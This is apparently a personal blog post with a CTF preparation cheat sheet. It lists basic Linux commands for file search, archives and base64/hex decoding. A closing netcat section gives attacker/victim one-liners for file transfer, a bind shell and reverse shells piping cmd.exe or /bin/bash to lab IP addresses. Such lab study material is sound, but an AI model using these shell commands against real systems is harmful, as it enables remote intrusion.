วันพฤหัสบดีที่ 23 พฤษภาคม พ.ศ. 2562

Preparation CTF-Cheatsheet


Preparation

#Find the location of a file
   locate sbd.exe

#Search through directories in the $PATH environment variable
   which sbd

#Find a search for a file that contains a specific string in it’s name:
   find / -name sbd\*

#Verify a service is running and listening
   netstat -antp |grep apache

#Unzip a gz file
   gunzip access.log.gz

#Unzip a tar.gz file
   tar -xzvf file.tar.gz

#Download a webpage
   wget http://www.cisco.com
//Decode Base64 Encoded Values
   echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

//Decode Hexidecimal Encoded Values
   echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

#Decoding using Kali
    //Decode Base64 Encoded Values
        echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

    //Decode Hexidecimal Encoded Values
        echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

#Escaping script
   //Escape Double quote (") inside Double quote by adding back slash (\)
       echo "Note:"humble's exploit rock""
       echo "Note:\"humble's exploit rock\""

   //Escape Single quote (') inside Single quote by adding '\'
       echo 'Note:"humble's exploit rock"'
       echo 'Note:"humble'\''s exploit rock"'

#Netcat - Read and write TCP and UDP Packets
    //Connect to a POP3 mail server
        nc -nv $ip 110

    //Listen on TCP/UDP port
        nc -nlvp 4444

    //Connect to a netcat port
        nc -nv $ip 4444

    //Transferring Files
       Victim: nc -nlvp 4444 > incoming.exe
       Attacker: nc -nv 10.11.23.29 4444 < /usr/share/windows-binaries/wget.exe

   //Bind Shell
       Victim: nc -nlvp 4444 -e cmd.exe
       Attacker: nc -nv 10.11.23.29 4444



   //Reverse Shell
       Attacker:  nc -nlvp 4444
       Victim(Wins):  nc -nv 10.11.0.169 4444 -e cmd.exe
       Victim(*nix):  nc -nv 10.11.0.169 4444 -e /bin/bash


ไม่มีความคิดเห็น:

แสดงความคิดเห็น